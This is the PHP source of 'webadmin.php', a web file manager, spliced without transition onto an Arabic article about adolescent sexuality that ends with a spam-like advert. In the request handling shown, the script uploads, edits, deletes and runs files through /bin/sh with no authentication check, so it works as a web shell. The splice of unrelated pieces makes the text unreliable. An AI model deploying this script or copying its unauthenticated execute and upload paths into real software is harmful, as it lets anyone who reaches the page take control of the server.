* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * * ------------------------------------------------------------------------- * While using this script, do NOT navigate with your browser's back and * forward buttons! Always open files in a new browser tab! * ------------------------------------------------------------------------- * * This is Version 0.9, revision 9 * ========================================================================= * * Changes of revision 9 * * added workaround for directory listing, if lstat() is disabled * fixed permisson of uploaded files (thanks to Stephan Duffner) * * Changes of revision 8 * * added Turkish translation * * added Czech translation * * improved charset handling * * Changes of revision 7 * * added Spanish translation * * added Danish translation * * improved rename dialog * * Changes of revision 6 * * added Dutch translation * * Changes of revision 5 * * added language auto select * fixed symlinks in directory listing * removed word-wrap in edit textarea * * Changes of revision 4 * * added French translation * * added Swedish translation * * Changes of revision 3 * * improved Italian translation * * Changes of revision 2 * * got images work in some old browsers * fixed creation of directories * fixed files deletion * improved path handling * added missing word 'not_created' * * improved human readability of file sizes * * added Italian translation * * Changes of revision 1 * * webadmin.php completely rewritten: * - clean XHTML/CSS output * - several files selectable * - support for windows servers * - no more treeview, because * - webadmin.php is a >simple< file manager * - performance problems (too much additional code) * - I don't like: frames, java-script, to reload after every treeview-click * - execution of shell scripts * - introduced revision numbers * /* ------------------------------------------------------------------------- */ /* Your language: * 'en' - English * 'de' - German * 'fr' - French * 'it' - Italian * 'nl' - Dutch * 'se' - Swedish * 'sp' - Spanish * 'dk' - Danish * 'tr' - Turkish * 'cs' - Czech * 'auto' - autoselect */ $lang = 'auto'; /* Charset of output: * possible values are described in the charset table at * http://www.php.net/manual/en/function.htmlentities.php * 'auto' - use the same charset as the words of my language are encoded */ $site_charset = 'auto'; /* Homedir: * For example: './' - the script's directory */ $homedir = './'; /* Size of the edit textarea */ $editcols = 80; $editrows = 25; /* ------------------------------------------- * Optional configuration (remove # to enable) */ /* Permission of created directories: * For example: 0705 would be 'drwx---r-x'. */ # $dirpermission = 0705; /* Permission of created files: * For example: 0604 would be '-rw----r--'. */ # $filepermission = 0604; /* Filenames related to the apache web server: */ $htaccess = '.htaccess'; $htpasswd = '.htpasswd'; /* ------------------------------------------------------------------------- */ if (get_magic_quotes_gpc()) { array_walk($_GET, 'strip'); array_walk($_POST, 'strip'); array_walk($_REQUEST, 'strip'); } if (array_key_exists('image', $_GET)) { header('Content-Type: image/gif'); die(getimage($_GET['image'])); } if (!function_exists('lstat')) { function lstat ($filename) { return stat($filename); } } $delim = DIRECTORY_SEPARATOR; if (function_exists('php_uname')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; } else { $win = ($delim == '\\') ? true : false; } if (!empty($_SERVER['PATH_TRANSLATED'])) { $scriptdir = dirname($_SERVER['PATH_TRANSLATED']); } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) { $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']); } elseif (function_exists('getcwd')) { $scriptdir = getcwd(); } else { $scriptdir = '.'; } $homedir = relative2absolute($homedir, $scriptdir); $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir; if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) { $dir = relative2absolute($dir, $_POST['olddir']); } $directory = simplify_path(addslash($dir)); $files = array(); $action = ''; if (!empty($_POST['submit_all'])) { $action = $_POST['action_all']; for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') { $files[] = $_POST["file$i"]; } } } elseif (!empty($_REQUEST['action'])) { $action = $_REQUEST['action']; $files[] = relative2absolute($_REQUEST['file'], $directory); } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) { $files[] = $_FILES['upload']; $action = 'upload'; } elseif (array_key_exists('num', $_POST)) { for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("submit$i", $_POST)) break; } if ($i < $_POST['num']) { $action = $_POST["action$i"]; $files[] = $_POST["file$i"]; } } if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) { $files[] = relative2absolute($_POST['create_name'], $directory); switch ($_POST['create_type']) { case 'directory': $action = 'create_directory'; break; case 'file': $action = 'create_file'; } } if (sizeof($files) == 0) $action = ''; else $file = reset($files); if ($lang == 'auto') { if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } else { $lang = 'en'; } } $words = getwords($lang); if ($site_charset == 'auto') { $site_charset = $word_charset; } $cols = ($win) ? 4 : 7; if (!isset($dirpermission)) { $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755; } if (!isset($filepermission)) { $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644; } if (!empty($_SERVER['SCRIPT_NAME'])) { $self = html(basename($_SERVER['SCRIPT_NAME'])); } elseif (!empty($_SERVER['PHP_SELF'])) { $self = html(basename($_SERVER['PHP_SELF'])); } else { $self = ''; } if (!empty($_SERVER['SERVER_SOFTWARE'])) { if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') { $apache = true; } else { $apache = false; } } else { $apache = true; } switch ($action) { case 'view': if (is_script($file)) { /* highlight_file is a mess! */ ob_start(); highlight_file($file); $src = ereg_replace('', '', ob_get_contents()); $src = str_replace(array('', "\r", "\n"), array('', '', ''), $src); ob_end_clean(); html_header(); echo '

' . html($file) . '


';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";

		echo '
' . $src . '
'; html_footer(); } else { header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: filename=' . basename($file)); readfile($file); } break; case 'download': header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: attachment; filename=' . basename($file) . ';'); header('Content-Length: ' . filesize($file)); readfile($file); break; case 'upload': $dest = relative2absolute($file['name'], $directory); if (@file_exists($dest)) { listing_page(error('already_exists', $dest)); } elseif (@move_uploaded_file($file['tmp_name'], $dest)) { @chmod($dest, $filepermission); listing_page(notice('uploaded', $file['name'])); } else { listing_page(error('not_uploaded', $file['name'])); } break; case 'create_directory': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$dirpermission); if (@mkdir($file, $dirpermission)) { listing_page(notice('created', $file)); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'create_file': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$filepermission); if (@touch($file)) { edit($file); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'execute': chdir(dirname($file)); $output = array(); $retval = 0; exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval); $error = ($retval == 0) ? false : true; if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>'); if ($error) { listing_page(error('not_executed', $file, implode("\n", $output))); } else { listing_page(notice('executed', $file, implode("\n", $output))); } break; case 'delete': if (!empty($_POST['no'])) { listing_page(); } elseif (!empty($_POST['yes'])) { $failure = array(); $success = array(); foreach ($files as $file) { if (del($file)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_deleted', implode("\n", $failure)); } if (sizeof($success) > 0) { $message .= notice('deleted', implode("\n", $success)); } listing_page($message); } else { html_header(); echo '
'; request_dump(); echo "\t" . word('really_delete') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\n"; } echo '


'; html_footer(); } break; case 'rename': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (!@file_exists($dest) && @rename($file, $dest)) { listing_page(notice('renamed', $file, $dest)); } else { listing_page(error('not_renamed', $file, $dest)); } } else { $name = basename($file); html_header(); echo '
' . word('rename_file') . '

' . html($file) . '

' . substr($file, 0, strlen($file) - strlen($name)) . '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'move': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = $dest . $filename; if (!@file_exists($d) && @rename($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_moved', implode("\n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('moved', implode("\n", $success), $dest); } listing_page($message); } else { html_header(); echo '
'; request_dump(); echo "\t" . word('move_files') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\n"; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'copy': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (@is_dir($dest)) { $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = addslash($dest) . $filename; if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_copied', implode("\n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('copied', implode("\n", $success), $dest); } listing_page($message); } else { if (!@file_exists($dest) && @copy($file, $dest)) { listing_page(notice('copied', $file, $dest)); } else { listing_page(error('not_copied', $file, $dest)); } } } else { html_header(); echo '
'; request_dump(); echo "\n" . word('copy_files') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\n"; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'create_symlink': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (substr($dest, -1, 1) == $delim) $dest .= basename($file); if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file); if (!@file_exists($dest) && @symlink($file, $dest)) { listing_page(notice('symlinked', $file, $dest)); } else { listing_page(error('not_symlinked', $file, $dest)); } } else { html_header(); echo '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'edit': if (!empty($_POST['save'])) { $content = str_replace("\r\n", "\n", $_POST['content']); if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) { listing_page(notice('saved', $file)); } else { listing_page(error('not_saved', $file)); } } else { if (@is_readable($file) && @is_writable($file)) { edit($file); } else { listing_page(error('not_edited', $file)); } } break; case 'permission': if (!empty($_POST['set'])) { $mode = 0; if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100; if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010; if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001; if (@chmod($file, $mode)) { listing_page(notice('permission_set', $file, decoct($mode))); } else { listing_page(error('permission_not_set', $file, decoct($mode))); } } else { html_header(); $mode = fileperms($file); echo '

' . phrase('permission_for', $file) . '


' . word('owner') . ' ' . word('group') . ' ' . word('other') . '
' . word('read') . ':
' . word('write') . ':
' . word('execute') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; default: listing_page(); } /* ------------------------------------------------------------------------- */ function getlist ($directory) { global $delim, $win; if ($d = @opendir($directory)) { while (($filename = @readdir($d)) !== false) { $path = $directory . $filename; if ($stat = @lstat($path)) { $file = array( 'filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path) ); if ($file['is_dir']) { $file['is_executable'] = @file_exists($path . $delim . '.'); } else { if (!$win) { $file['is_executable'] = @is_executable($path); } else { $file['is_executable'] = true; } } if ($file['is_link']) $file['target'] = @readlink($path); if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner'])); if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group'])); $files[] = $file; } } return $files; } else { return false; } } function sortlist (&$list, $key, $reverse) { quicksort($list, 0, sizeof($list) - 1, $key); if ($reverse) $list = array_reverse($list); } function quicksort (&$array, $first, $last, $key) { if ($first < $last) { $cmp = $array[floor(($first + $last) / 2)][$key]; $l = $first; $r = $last; while ($l <= $r) { while ($array[$l][$key] < $cmp) $l++; while ($array[$r][$key] > $cmp) $r--; if ($l <= $r) { $tmp = $array[$l]; $array[$l] = $array[$r]; $array[$r] = $tmp; $l++; $r--; } } quicksort($array, $first, $r, $key); quicksort($array, $l, $last, $key); } } function permission_octal2string ($mode) { if (($mode & 0xC000) === 0xC000) { $type = 's'; } elseif (($mode & 0xA000) === 0xA000) { $type = 'l'; } elseif (($mode & 0x8000) === 0x8000) { $type = '-'; } elseif (($mode & 0x6000) === 0x6000) { $type = 'b'; } elseif (($mode & 0x4000) === 0x4000) { $type = 'd'; } elseif (($mode & 0x2000) === 0x2000) { $type = 'c'; } elseif (($mode & 0x1000) === 0x1000) { $type = 'p'; } else { $type = '?'; } $owner = ($mode & 00400) ? 'r' : '-'; $owner .= ($mode & 00200) ? 'w' : '-'; if ($mode & 0x800) { $owner .= ($mode & 00100) ? 's' : 'S'; } else { $owner .= ($mode & 00100) ? 'x' : '-'; } $group = ($mode & 00040) ? 'r' : '-'; $group .= ($mode & 00020) ? 'w' : '-'; if ($mode & 0x400) { $group .= ($mode & 00010) ? 's' : 'S'; } else { $group .= ($mode & 00010) ? 'x' : '-'; } $other = ($mode & 00004) ? 'r' : '-'; $other .= ($mode & 00002) ? 'w' : '-'; if ($mode & 0x200) { $other .= ($mode & 00001) ? 't' : 'T'; } else { $other .= ($mode & 00001) ? 'x' : '-'; } return $type . $owner . $group . $other; } function is_script ($filename) { return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename); } function getmimetype ($filename) { static $mimes = array( '\.jpg$|\.jpeg$' => 'image/jpeg', '\.gif$' => 'image/gif', '\.png$' => 'image/png', '\.html$|\.html$' => 'text/html', '\.txt$|\.asc$' => 'text/plain', '\.xml$|\.xsl$' => 'application/xml', '\.pdf$' => 'application/pdf' ); foreach ($mimes as $regex => $mime) { if (eregi($regex, $filename)) return $mime; } // return 'application/octet-stream'; return 'text/plain'; } function del ($file) { global $delim; if (!@is_link($file) && !file_exists($file)) return false; if (!@is_link($file) && @is_dir($file)) { if ($dir = @opendir($file)) { $error = false; while (($f = readdir($dir)) !== false) { if ($f != '.' && $f != '..' && !del($file . $delim . $f)) { $error = true; } } closedir($dir); if (!$error) return @rmdir($file); return !$error; } else { return false; } } else { return @unlink($file); } } function addslash ($directory) { global $delim; if (substr($directory, -1, 1) != $delim) { return $directory . $delim; } else { return $directory; } } function relative2absolute ($string, $directory) { if (path_is_relative($string)) { return simplify_path(addslash($directory) . $string); } else { return simplify_path($string); } } function path_is_relative ($path) { global $win; if ($win) { return (substr($path, 1, 1) != ':'); } else { return (substr($path, 0, 1) != '/'); } } function absolute2relative ($directory, $target) { global $delim; $path = ''; while ($directory != $target) { if ($directory == substr($target, 0, strlen($directory))) { $path .= substr($target, strlen($directory)); break; } else { $path .= '..' . $delim; $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1); } } if ($path == '') $path = '.'; return $path; } function simplify_path ($path) { global $delim; if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') { $path = realpath($path); if (@is_dir($path)) { return addslash($path); } else { return $path; } } $pattern = $delim . '.' . $delim; if (@is_dir($path)) { $path = addslash($path); } while (strpos($path, $pattern) !== false) { $path = str_replace($pattern, $delim, $path); } $e = addslashes($delim); $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e; while (ereg($regex, $path)) { $path = ereg_replace($regex, $delim, $path); } return $path; } function human_filesize ($filesize) { $suffices = 'kMGTPE'; $n = 0; while ($filesize >= 1000) { $filesize /= 1024; $n++; } $filesize = round($filesize, 3 - strpos($filesize, '.')); if (strpos($filesize, '.') !== false) { while (in_array(substr($filesize, -1, 1), array('0', '.'))) { $filesize = substr($filesize, 0, strlen($filesize) - 1); } } $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1)); return $filesize . " {$suffix}B"; } function strip (&$str) { $str = stripslashes($str); } /* ------------------------------------------------------------------------- */ function listing_page ($message = null) { global $self, $directory, $sort, $reverse; html_header(); $list = getlist($directory); if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename'; if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false; sortlist($list, $sort, $reverse); echo '

webadmin.php

'; directory_choice(); if (!empty($message)) { spacer(); echo $message; } if (@is_writable($directory)) { upload_box(); create_box(); } else { spacer(); } if ($list) { listing($list); } else { echo error('not_readable', $directory); } echo '
'; html_footer(); } function listing ($list) { global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self; echo '
smiley" . word('filename') . "" . word('size') . "" . word('permission') . "" . word('owner') . "" . word('group') . "' . word('functions') . '
'; if ($file['is_link']) { echo 'link '; echo html($file['filename']) . ' → '; $real_file = relative2absolute($file['target'], $directory); if (@is_readable($real_file)) { if (@is_dir($real_file)) { echo '[ ' . html($file['target']) . ' ]'; } else { echo '' . html($file['target']) . ''; } } else { echo html($file['target']); } } elseif ($file['is_dir']) { echo 'folder [ '; if ($win || $file['is_executable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } echo ' ]'; } else { if (substr($file['filename'], 0, 1) == '.') { echo 'hidden file '; } else { echo 'file '; } if ($file['is_file'] && $file['is_readable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } } if ($file['size'] >= 1000) { $human = ' title="' . human_filesize($file['size']) . '"'; } else { $human = ''; } echo "\t{$file['size']} B'; $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid()); if ($l) echo ''; echo html(permission_octal2string($file['permission'])); if ($l) echo ''; echo "{$file['owner_name']}{$file['owner']}{$file['group_name']}{$file['group']} '; $actions = array(); if (function_exists('symlink')) { $actions[] = 'create_symlink'; } if (@is_writable(dirname($file['path']))) { $actions[] = 'delete'; $actions[] = 'rename'; $actions[] = 'move'; } if ($file['is_file'] && $file['is_readable']) { $actions[] = 'copy'; $actions[] = 'download'; if ($file['is_writable']) $actions[] = 'edit'; } if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) { $actions[] = 'execute'; } if (sizeof($actions) > 0) { echo ' '; } echo '
' . word('directory') . ':
' . word('file') . ':

'; if ($apache && basename($file) == $htpasswd) { echo ' ' . word('user') . ': ' . word('password') . ':
'; } if ($apache && basename($file) == $htaccess) { echo '
'; } echo '

[ ' . word('back') . ' ]

'; html_footer(); } function spacer () { global $cols; echo '
الجنس في المراهقة

الجنس في المراهقة

الفصل الاول
الأب: أظن يابنى ده الوقت اللى لازم نقعد فيه ونتكلم سوا عن الجنس.. إنت كبرت وبقى عندك 15 سنة.
الإبن: طبعاً يابابا...بس يا ريت حضرتك تقول لى عايز تعرف إيه؟!

هذه المرة ليست نكتة ولكنه حوار أتخيل أنه من الممكن أن يحدث فى أى بيت نظراً لتعدد وسائل المعرفة الجنسية عند المراهقين والتى يندهش الآباء كيف توصل إليها او تعرف عليها هؤلاء المراهقون فى تلك السن الخطيرة، والمراهقة تكتسب صفة الخطورة هذه من كونها سن تفجر المشاعر والعواطف والرغبات التى تدخل سباقاً مع النمو البيولوجى الجسدى، وعندما يحدث التناقض بين الإثنين أو عندما لا تلبى الإحتياجات سواء النفسية أو البيولوجية هنا تحدث المأساة لدى المراهقين، تلك الفئة الحساسة الغاضبة التى يؤرقها الفضول وتحرقها الرغبة ويهزها القلق، فهم يبحثون عن الثقة بالنفس فيواجهون بأنهم مجرد عيال، ويتصرفون فى بعض الأحيان تحت قوة دفع الدهشة الطفولية، فيتم تأنيبهم على أنهم قد تخطوا هذه المرحلة وأصبحوا رجالاً أو أصبحن مودموزيلات، ولهذا لا يليق أن يصدر منهم مثل هذه التصرفات، وتحت وطأة هذا الصراع المشتعل تتشكل ملامح المراهقة التى إما ان تكون جسراً آمناً للعبور إلى مرحلة النضج أو بركاناً ثائراً تنطلق منه الحمم وتذوب فيه الشخصية وتتفتت.

ما هى العوامل التى تتحكم فى حساسية هذا السن؟ وما هى المفاهيم التى تستند إليها معتقدات وميول ورغبات وتناقضات هذه المرحلة؟
أول ما يتحكم فى هذه المرحلة هو الروابط أو التفاعلات فيما بين البلوغ وشكل الجسمBody image أو صورته ثم ما يمكن أن نطلق عليه صورة النفس SELF IMAGE.
فى هذه المرحلة ويتسلط على المراهق وسواس الجاذبية وتصبح المراهقة أسيرة للمرآة، يظل المراهق يتحسس عضلات صدره وينفشها متخايلاً كالطاووس وتظل المراهقة تداعب خصلات شعرها وتلمس بشرتها ويمتلئ قاموسها بمفردات وأدوات الماكياج وخطوط الموضة، فالمجتمع يجبره ويجبرها على ذلك، فمقياس الهوية لديه هو مدى الجاذبية، ومدى الجاذبية يحدده الشكل أولاً وأخيراً بمقاييس ومواصفات ذلك المجتمع ومن خلال معتقدات أفراده وبث وسائل إعلامه وتمجيدها لأنماط معينة من الوسامة، كل هذا يلتقطه المراهقون ويجسدونه كنموذج يجب عليهم تقليده. وتبدأ التساؤلات التى غالباً ما تكون أمام المرآة كانت تتعلق بصورة الجسم أو أمام الأصدقاء الحميمين إذا كانت تتعلق بصورة النفس.

هل أنا طويل أم قصير نوعاً ما؟
ما الحل فى شعرى المجعد؟
هل رفع الأثقال سيخفى هذا البروز الشديد فى عظام لصدر ويكسوها بالعضلات والمجانص؟
هل أنا لبق حين أتحدث إلى البنات؟ هل أنا جذابة للشبان؟
هل وألف هل تدور كالنحلة فى رؤوس هؤلاء المراهقين حتى يغطى طنينها كل ماعداها.

والسبب الأساسى للإهتمام الشديد بصورة الجسم عند المراهق هو أنه لم يشكل هويته بعد، إنه لا يزال يشكل فيها كالصلصال الذى لم يأخذ بعد شكله النهائى كتمثال واضح الملامح، فيظل سؤاله هو:

كيف أبدو وكيف يرانى الآخرون؟ بدلاً من سؤال من أنا؟
إنه لم يصل بعد إلى الطريقة المثلى لعمل هذه الطبخة السحرية المسماة بالهوية والتى ما زالت مقاديرها ومكوناتها سراً مستعصياً عليه فى مثل هذه السن، إنها ذلك التوازن فى علاقته بنفسه والآخرين أو ما يطلق عليه ال self -esteem فى العادة لا يوجد فرق فى هذه الأحاسيس بالنسبة لصورة الجسد بين الولد والبنت إلا أن البنت تتميز بأن الأنوثة المراهقة عندها تتميز بحدث جلل وظاهر يعلن عن نفسه بتحدى وقوة وعنفوان.....إنه الثدى الذى لا يجاريه فى ثورته خشونة صوت الولد أو زغب الذقن، إنه شئ آخر إعلانه أكثر ضجيجا، وتصريحه أكثر جرأة وجسارة وإثارة.

ثانى ما يتحكم فى هذه المرحلة هو الرغبة فى معرفة الجسد والفضول الشديد للتعلم عن ماهيته ومفرداته وأسراره وما يصاحب هذه الرغبة وهذا الفضول من أحاسيس وإستجابات وإحتياجات جنسية، فالجسد ليس هيئة خارجية فقط، ليس مجرد شعر على الذقن أو خشونة فى الصوت أو بروز للثدى، ولكنه تفاعلات داخلية فى أغلب الأحيان لا يجد المراهق لها تفسيراً أو إجابة ولا يتطوع الكبار بتقديم مثل هذا التفسير أو هذه الإجابة من منطلق العيب والخجل فلا يوجد التمهيد المفروض أو حتى الرد المناسب على مثل هذه الأسئلة المحيرة والمثيرة للقلق، فمثلاً تجهل الفتاة أن البلل فى ملابسها الداخلية نتيجة إفرازات مهبلية طبيعية جداً فى مثل هذا السن، ويجهل الفتى أيضاً أن القذف الذى حدث ليلاً نتيجة الإحتلام هو الآخر شئ طبيعى لا يشينه وعادى لا يثير إشمئزازه أو إحساسه بالذنب والجرم والاثم.

الفصل الثاني
"ماذا حدث لى فى الأتوبيس؟... لماذا عندما غفوت لحظات على مقعدى ثم إستيقظت وجدت مشهداً مخجلاً... إنتصاباً ظاهراً لكل ركاب الأتوبيس.. إنى لم أحلم بشئ، والجالس على المقعد المجاور رجل غارق فى سابع نومه، وكل الظروف غير مهيأة للحدث... إنى حائر فعلاً!!".

سألنى الفتى هذا السؤال وهو فى غاية الفزع والهلع عن معنى هذا ومغزاه، وتحول صوته الجسور أو الذى كان جسوراً إلى مجرد همس خافت، وصارت جبهته النافرة مجرد إطراقة.
مثل هذا الفتى هل ننتظر منه ومن أقرانه أن يظلوا واضعين الأيدى على الخدود واقفين عند حدود منطقة النظر فقط أم يقتحمون التخوم ويدخلون إلى معسكر الكشف، أعتقد أن جميعهم سيفعلون ذلك حتى ولو كان المعسكر مليئاً بالألغام.

إن الفتيان يقضون الساعات فى تلمس أعضائهم التناسلية وقياسها ومقارنتها، والغالبية تقع صرعى لأسطورة طول القضيب وحجمه.
الفتيات أيضاً يصيبهن وسواس الثدى الأزلى.. الفرق بين حجم الثديين ومدى إستدارتهما والشعر الذى يحيط بالحلمة، وشكل الحلمة ومدى بروزها....الخ.

كل هذا موجود وأيضاً مشروع، ومع هذا الكشف تتم الإثارة التى تكون فى البداية مجرد صدفة ثم تتحول إلى غاية، وتبدأ التفاصيل فى التزايد والتراكم، فبعد إكتشاف الترابط بين هذا الكشف والإثارة نجد أن الباب الموارب يفتح لتتسع المسافة المتاحة لمثل هذه الرغبات والأسئلة، ما الذى يجعل هذه الإثارة تأتى بسرعة؟ كيف أربطها بالفانتازيا؟ ما هى المدة التى أستطيع أن أحافظ فيها على هذه الإثارة؟ كيف أستطيع إشعالها بعد الإنطفاء؟ ما هو الأورجازم؟؟ ...الخ، كل هذه الأسئلة وغيرها هى أجهزة الرصد التى يستخدمها المراهقون فى رحلة إستكشاف الجسد وتضاريسه ومنعطفاته وطرقه السالكة والوعرة، وأيضاً الفخاخ المنصوبة فى دروبه!! وبالطبع يحدث هذا فى البداية على إنفراد بين المراهق ونفسه، ولكنه بمرور الوقت يصبح هذا الإستكشاف مهمة مشتركة، فيكتشف المراهق جسده بواسطة من تعينه وتساعده على رسم الخريطة الصحيحة وبكل دقة، لأنك مهما بلغت من خبرة فى متاهات الجسد فإنك حتماً تحتاج إلى مرشد، ومهما أتقنت اللغة فإنك بالتأكيد ستحتاج إلى من يساعدك على الترجمة.

ثالث المفاهيم التى تتحكم فى ميكانزم المراهقة هو ما يسميه ماسترز وجونسون تزييف الهوية، تلك التى يعد البحث عنها هو جوهر هذا السن، كما يصفها العالم النفسى إريكسون، والهوية ليست هى البطاقة الشخصية كما يطلق عليها أبناء الشام، ولكن للأسف كما اخترع المجتمع السجل المدنى لكتابة بيانات البطاقة الشخصية اخترع لنا المفاهيم الجاهزة لصياغة بيانات الهوية، ولذلك فنحن نظل نخضع لهذه المواصفات القياسية، ولكى ينجح المراهق "الصح" من وجهة نظرنا لا بد أن يعلق اليافطة التى خطتها يد المجتمع، فإذا أحبت الفتاة لعبة الرماية فهى إنسانة "مسترجلة"، وإن مارس الفتى "الباليه" فهو شخصية "منسونة"!! وهكذا فلا بد للمراهق أن يزيف هويته لكى تتطابق مع العملات التى اعترف بها المجتمع وإلا لن تصرف من أى بنك، وهذا فى إعتقادى الشخصى التزييف الوحيد الذى يقره المجتمع ولا يعاقب عليه القانون ولا يقبض على صاحبه بتهمة التزييف والنصب وكما تعلم المراهق أن يرسم صورة الجسد والنفس والهوية، فهو يتعلم ايضاً فى هذه العمر أن يرسم ملامح العلاقات الرومانسية والجنسية أيضاً، وهنا لن ينفع أن يرسمها بريشته وحده ولكنه لا بد أن يرسمها بريشة مشتركة وأن يستعير بعض ألوانه من الآخرين، وهنا يبرز مفهوم الشلة التى كثيراً ما يهاجمها الأب وتتذمر عليها الأم، ولكنها تقف كالجبل، فالشلة مكان الهروب والتمرد والفهم وأيضاً الممارسات الرومانسية وبذور الممارسات الجنسية، ويتصور المراهقون وقتها أن الشلة أبدية لن تنفصم عراها أو ينفرط عقدها فهى المدرسة البديلة التى تتسامح معه إن أخطأ، وتحتويه إن أحس بالوحشة.

نأتى إلى آخر هذه المفاهيم التى تنمو خلال سلم المراهقة المعقد والملتوى، وهو نمو قيم المراهق الجنسية الخاصة وتشكيله لنظامه الجنسى الخاص، فالبعض منهم يمارس الجنس كنوع من المشاركة والحميمية، والبعض يمارسه كمتعة عرضية تطفئ لهيب الرغبة المشتعلة بداخله، والبعض يتوج به علاقة حب.

كل هذه الأنواع من الممارسات يضبط عيارها وتشكل ملامحها تبعاً لعدة مؤثرات منها الدينى والأخلاقى والإجتماعى، وفى بعض الأحيان آراء الأصدقاء المقربين التى غالباً ما تتفوق على كل هذه العوامل مجتمع

الجنس في المراهقة

10/04/09


إقرأ أيضا
البكارة وغشاؤها.. اتقوا الله في النساء
هل نزول الدم ضروري لمعرفة العذرية من عدمها؟ وكيف يمكن التأكد من ذلك قبل الزواج؟ وللرد على تلك التساؤلات العديدة نقول إن غشاء البكارة غشاء ...
[زيارات : 2140]
هل تبحث عن زيادة الحيوانات المنوية ومن ثم تزيد قدرتك ومتعتك الجنسية؟؟؟ هنا الحل
